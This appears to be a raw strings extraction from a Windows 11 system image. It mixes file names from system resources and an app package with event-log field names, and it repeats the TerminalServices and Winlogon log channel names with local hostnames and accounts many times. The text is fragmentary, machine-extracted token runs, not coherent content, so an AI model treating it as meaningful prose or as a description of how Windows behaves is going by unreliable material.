BDEHDC~2.MUI BdeHdCfgLib.dll.mui0 BdeHdCfgLib.dll.mui WofCompressedData $DSC bdesvc.dll.mui BDESVC~1.MUI bdesvc.dll.mui $DSC BDESVC~1.MUI bdesvc.dll.mui $DSC $DSC BDESVC~1.MUI bdesvc.dll.mui $DSC bthprops.cpl.mui BTHPRO~1.MUI bthprops.cpl.mui WofCompressedData $DSC BTHSER~1.MUI bthserv.dll.mui WofCompressedData $DSC bthserv.dll.mui0 BTHSER~1.MUI bthserv.dll.mui WofCompressedData $DSC BTHSER~1.MUI bthserv.dll.mui $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID UserData Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational EventXML Event_NS messageName RDSAppXPlugin 5http://schemas.microsoft.com/win/2004/08/events/event WIN-FVPT9GE7NQP Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational EventData Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational RDSAppXPlugin 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Event_NS User SessionID DESKTOP-8GBP982\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational DESKTOP-8GBP982\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Event_NS Address DESKTOP-8GBP982\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational DESKTOP-8GBP982\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational DESKTOP-8GBP982\defaultuser0 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational RDSAppXPlugin Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational RDSAppXPlugin Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational windows11\defaultuser0 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational RDSAppXPlugin Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\defaultuser0 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Event_NS TargetSession Source Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Event_NS Session Reason Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\defaultuser0 LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job LOCAL 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational RDSAppXPlugin Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational RDSAppXPlugin Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational RDSAppXPlugin Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job LOCAL Microsoft-Windows-TerminalServices-LocalSessionManager Microsoft-Windows-TerminalServices-LocalSessionManager/Operational Windows11\job LOCAL web.config.comments WofCompressedData web.config.comments WofCompressedData CompatExceptions CompatExceptions COMPAT~1 CompatExceptions $DSC RU87B1~1.PF0 RUNTIMEBROKER.EXE-94F69FEA.pf Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational WofCompressedData $DSC appxblockmap.xml appxmanifest.xml AppxMetadata APPXME~1 appxsignature.p7x Assets Clipboard.dll concrt140_app.dll ExperienceExtensions.dll hermes.dll Microsoft.ReactNative.dll microsoft.system.package.metadata MICROS~1.METpp. msvcp140_1_app.dll msvcp140_2_app.dll msvcp140_app.dll msvcp140_atomic_wait_app.dll msvcp140_codecvt_ids_app.dll Payments.dllN pris Public ReactNativeXaml.dll resources.pri ux-phui.dll vcamp140_app.dll vccorlib140_app.dll vcomp140_app.dll vcruntime140_1_app.dll vcruntime140_app.dll WinRTComponents.dll WinRTTurboModule.dll WsxPackManager.dll WsxPackManager.winmd Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational EventData Data Event SubscriberName TrustedInstaller Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TrustedInstaller Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Win32Status Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational EventData Data Event SubscriberName Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Win32Status Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon 